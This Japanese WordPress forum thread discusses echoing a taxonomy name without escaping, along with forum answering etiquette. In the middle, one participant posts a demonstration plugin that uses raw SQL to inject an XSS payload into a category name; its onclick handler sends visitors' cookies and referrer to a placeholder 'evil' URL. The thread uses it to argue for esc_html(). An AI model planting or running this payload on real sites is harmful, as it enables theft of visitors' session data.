タクソノミーの名前取得

$taxonomy = $wp_query->get_queried_object();
echo $taxonomy->name;

安易なのは回答なので気にしなくて OK ですよー > pluto1234

以下、kz の回答方針：

そのまま echo はやばい

・回答コードは基本コアコードに倣った書き方の最低限サンプル（※1）。
・$taxonomy->name やったらまー気にせんでええんちゃうんっていう判断。
・セキュリティとか例外処理は各自よきにはからってください。

※1 single_cat_title(), single_tag_title() がそのまま echo やしええやん、
　 ちゅう意味ではない。そもそも WordPress のコアコードがワヤくちゃやんけ
　 とか気になる方は文句言ってる時間があったら直してあげましょう。
　　だってオープンソースだもの。

というわけで kz はキバリ過ぎないテキトウな回答をしますが
エスケープは大切な事なので皆さんの胸にしっかりと刻んでおいてください。

回答としてコードをいきなり書くのは

・懇切丁寧回答は労多くして毛が抜けるので廃止しました。
・なんか日本語入力が面倒。
・わかってる事についてヒント出すとかはメンドクサイ。
・添削とかもメンドk
・どんなフォーラムでも結局どうなんってゆートピックは役に立ったことが無い。
・ダラダラ続くとマイナスオーラが出てくる。
・ズバッと解決する方が諸々好循環。

「怠け者の質問者」を増やす

・怠け者は懇切丁寧回答されても変わらない。
・怠けない人はコードからしっかり学ぶ。
・あまりにひどい、という場合は回答していない。

■何故回答するのか
・1つの質問でお世話になったので1万倍にして返す。
・どうなんだろと思って調べてコレか！と学ぶのが楽しい。

※質問者のため、に回答してるわけじゃないという共学の私立！

■他人に対してモヤモヤしたときに思い出すこと。
・世の中は大多数のダメな人達で成り立っている。
・誰もが自分と同じように考え行動できるわけではない。
・正論で説いても逆効果。
・そんなときは自分からマイナスオーラが出ている。
・そんなマイナス野郎からは人が離れて行く。
・それで幸せか？
・他人に振り回されてるってことなんだぜ？
・どうなりたいんだ？
・変えられるのは自分だけだ。
・だったら他人には愛情を持って接し、毎日楽しく暮らそう。

フォーラムに無関係なレスですみません、不適切でしたら削除願います > 管理人様。
とかウザイことは絶対書かないぜ。

…という感じで回答してまーす。

フォーラムのバックグラウンドにいらっしゃる様々な技術レベルの方々に
セキュリティの大切さを改めて認識していただく良い機会になったと思います。

で、大切なのはわかったけども具体的に何がダメなのか自分では考慮できないよという
方々のために $wp_query->get_queried_object()->name をそのまま
echo することが如何に危険なのか、フォーラムをナレッジベースとして
より充実させるために想定される具体的な被害例を交えてご教授いただけますと幸いです。

$wp_query->get_queried_object()->name をそのまま
echo することが如何に危険なのか、フォーラムをナレッジベースとして
より充実させるために想定される具体的な被害例を交えてご教授いただけますと幸いです。

前提として、被害例そのものは被害を受けた側がそれを公表するケースが稀であるため提示できる案件はないと思います。しかし、被害例そのものが無いからと言って”安全”であるとは言えないのもまた事実です。

そこで、考えられる攻撃手法を少しだけ例示します。

<?php
/*
Plugin Name: タクソノミーを悪用するテスト
Plugin URI: http://example.com
Description: このプラグインを有効化すると名前にクッキーを持ったままリダイレクトするタグが埋め込まれたタクソノミーが生成されます。
Author: SPaiS Inc.
Version: 1.0.0
Author URI: http://spais.co.jp/
*/
class evil_taxonomy{

    function embed(){
        global $wpdb;
        mysql_query("UPDATE {$wpdb->terms} SET name = '\"><a href=\"%e6%9c%aa%e5%88%86%e9%a1%9e\" onclick=\"location.href=\'http://example.com/evil?c=\'+document.cookie+'&r='+document.referrer;return false;\">未分類</a>' WHERE term_id = 1", $wpdb->dbh);
    }

    function evil_taxonomy(){
        add_action('init', array(&$this, 'embed'));
    }
}
new evil_taxonomy;

このコードを適当な名前で保存して wp-content/plugins にアップロードしてプラグインを有効化してから一度でも WordPress にアクセスすれば”未分類”カテゴリの名前に JavaScript が埋め込まれます。
例示したコードではクッキーとリファラを別のサイトに送信するだけのものですので、そのままでログインセッションが抜かれるというものではありません。
また、他のデータを埋め込んだり、逆にクッキーに埋め込んだりする事でもっと様々な攻撃方法が考えられます。

こういった攻撃方法が実際に使われているかどうかは知りませんが、今僕が10分程度で考えられるくらい簡単なコードでも例示できる以上、少し想像力を働かせれば危険である可能性に気づかれるはずです。

偏見かもしれませんが、質問される側の人は良く言えば純粋です。誰かが教えてくれるのは善意だという思いこみすら感じられます。
そういった人たちは世界中で公開されているプラグインやテーマを親切心から公開されているものだと勘違い(多くはそうですが)し、危険なコードが含まれていない事を確認したりはしません。
張り付けられたコードを鵜呑みにしてしまう人が公開されているプラグインのコードをレビューするなんてことは考えにくいですよね。

それ自体はいい事でも悪い事でもありません。”よくある事”です。
しかし、そのまま使う事に危険な可能性のあるコードである事を知りながら、危険なままで張り付けるのは”悪意”です。
悪意というのはいいすぎかもしれませんが、少なくとも善意からではないと思います。
「○○にはどうやって行けばいいですか？」と聞かれた時、目的地に向かえる道は工事で通れない、というような際に通れない事は伏せておいて道を教えるようなものです。

教えた相手が目の見えない、耳の聞こえない人ならば工事現場の近くを通る事自体が危険を生む可能性すらあります。
だからと言って、全てを理解していなければフォーラムに回答してはいけないのか、といったらそんなことはありません。間違っていてもいいと思います。今回の kz さんの書き込みには僕から見ても間違っていると感じる点があり、lilyfan さんがそこに言及したわけで、要するにフォーラムを利用する全ての人がお互いにフォローしあえるわけですから、間違い自体は悪ではありません。
むしろそこから広がる議論は有益ですらあると思います。

今回も pluto1234 さんは esc_html() を知っていたかもしれませんし、知らないかもしれません。二つの可能性をはらんだ状態において誠実な対応は”より相手のためになるであろう”と考える事です。
その点、kz さんの書き込まれた内容は”pluto1234 さんが esc_html() でエスケープするべきである事を知らない可能性”を切り捨てたものであり、それはやもすれば役に立たないどころか危険な穴を生む可能性のある方法を提示されたとも言えるわけです。

繰り返しますが、kz さんが知らなかったのならばいいんです。僕だって知らない事はたくさんあります。知らない事は罪でも悪でもないんです。大事な事を知っているのに教えなかったりするのがよくないんです。

kurosquare さんのおっしゃる事にももちろん一理あると思います。だからと言って、それが自己責任の名のもとに無責任な手助けを許す免罪符になるとも思えません。
少なくとも以前助けられた事に感じ入って、一万倍に返していると、kz さんはおっしゃっているわけですから、それならば”面倒くさい”というような理由で必要な事をあえて書かない選択肢をとるくらいなら最初から書かない方が恩返しにはなるんじゃないんでしょうか、というのが僕の意見です。

悪意を発揮する労力を生産的な方向に使えば良いのに、と驚きつつ。

>kz さんが知らなかったのならばいいんです

知りませんでしたので大変勉強になりました。ありがとうございました。

>”面倒くさい”というような理由で必要な事をあえて書かない

メンドウなのは「怠け者の質問者を増やさないためにコードを書くのは最終手段にしよう」という回答手順のことですので誤解されませんよう。

よきにはからって、などの注記は常々書いてましたけど、ってご存知ですよね（はぁと
このひと月くらいはイチイチ書くのがメンドくさくてサボってましたー。出た不誠実。

kz キャラも浸透しただろうフフフとか勝手に思ってるとこもありましたけど
新しい参加者は kz なんつっても知りませんね。てへ。

セキュリティについてはそれほど明るくないながらも SQLインジェクション的な
ものについてはコワイので各所で気をつけるように努めています
（回答したことはないかもだけども）が、タクソノミー名の表示ごときでも
そこまで考慮せなアカンとは 2個上の返信まで思い至りませんでした。
ほぇーって感じです。

素人的には、そこまで悪意があるならすでに SQL 自由自在なのにタクソノミー名に
XSS? 仕込む程度の割に合わんセコいことするのん？すげーなクラッカーって感じです。

spais さんから現場の話が出てましたけど、オレの歩いてきた現場では
技術的に、理論的に、っていうよりは結局実際問題どうなんよ、って
ところが最も重要だったので、そういうバックグラウンドの違いはあるかもですね。

spais さんがおっしゃるように
・被害例そのものが無いからと言って”安全”であるとは言えない
・セキュリティ的な犯罪につながる穴はこういった”ちょっとした気の緩みから生まれる
のはそうだろうなって思いますし、気をつけようとは思いますけども
セキュリティ意識の非常に高い方々に合わせて100%の回答を求められると
人間ですからうっかりしてることもあるので、それこそめんどくさいから
回答しないぜってなります。わぉ。

オレはフォーラムは活気が一番大事だと思っています。
様々なソフトウエア（非WEB）の様々なフォーラムを長らく渡り歩いてきましたけど
　1個目の回答が「ガイドラインを読め！」ばっかりだったり
　いちいち本題と関係ないことで細かく注意されてたり
　小出しヒントのあげく未解決だったり
　やりとりが長くなって質問者がキレたり（＆別の所で暴言吐いてたり）
てな所は、検索でたどり着いてもまったく役に立ったことは無いし
リアルタイムで見てたら心が痛くなるし、結局静まり返っているしで
ナレッジベース（笑 てな感じです。

一方、グダグダ無しで鮮やかな回答が多いところは
誰かがウッカリミスってもすかさず別の誰かがフォロー＆サンキューリプライ
でとても爽やかクールでした。オレもこの人達みたいになれるようにがんばるぞ。
と思った自分が今ここにいます。

そういった経験から kz の回答スタイルができているのです。誰も聞いてませんか。

2行のコードをネタにここまで盛り上がれるのはステキだと思います。
バックグラウンドの方々は、おぉぉ炎上しておるではないか！と思われるかもですが
lilyfan さんのテキストが刺激的なのは関西ノリなだけでオレもそうだし
誰にもどこにも悪意も敵意もありません。なのでつっかかってこないでね（はぁと
次期 Ktai Entry にはオレの子供が組み込まれるし、WordCamp 名古屋のチームメイトで
仲良しなので安心してください。

まーでもオレみたいなマッタリさんばかりじゃないのでフォーラムでツッコむなら
echo esc_html($taxonomy->name); ならなおステキ。
くらいがクールやーんって思います。
オレはね。誰にも強要してないぜ？とかイチイチ但し書くのがメンドk

そうそう、もいっこフォーラムで大事にしてるのが、意見は投げつけないで見せる、です。
　他人に対して意見はしない。他人の意見に対して、自分の意見を述べる。
　改善点があるなら「こうするとより良いぜ」という伝え方をする。
そういう姿勢が社会＝コミュニティで円滑に交流をするために大切だと
おばあちゃんが言ってました。
フォーラムでのやりとりが笑顔を生むかどうかって基準で考えると良いかもー。

ところで、lilyfan さんとしては esc_html はただのキッカケで
いきなりコード回答はやめてが本題、だと思って
そういうストーリーでブログ記事を書いてますけど、OK ですか？
って、ここでほとんど書いてしもたがな。

つか、なげーなオレ。ウザイ。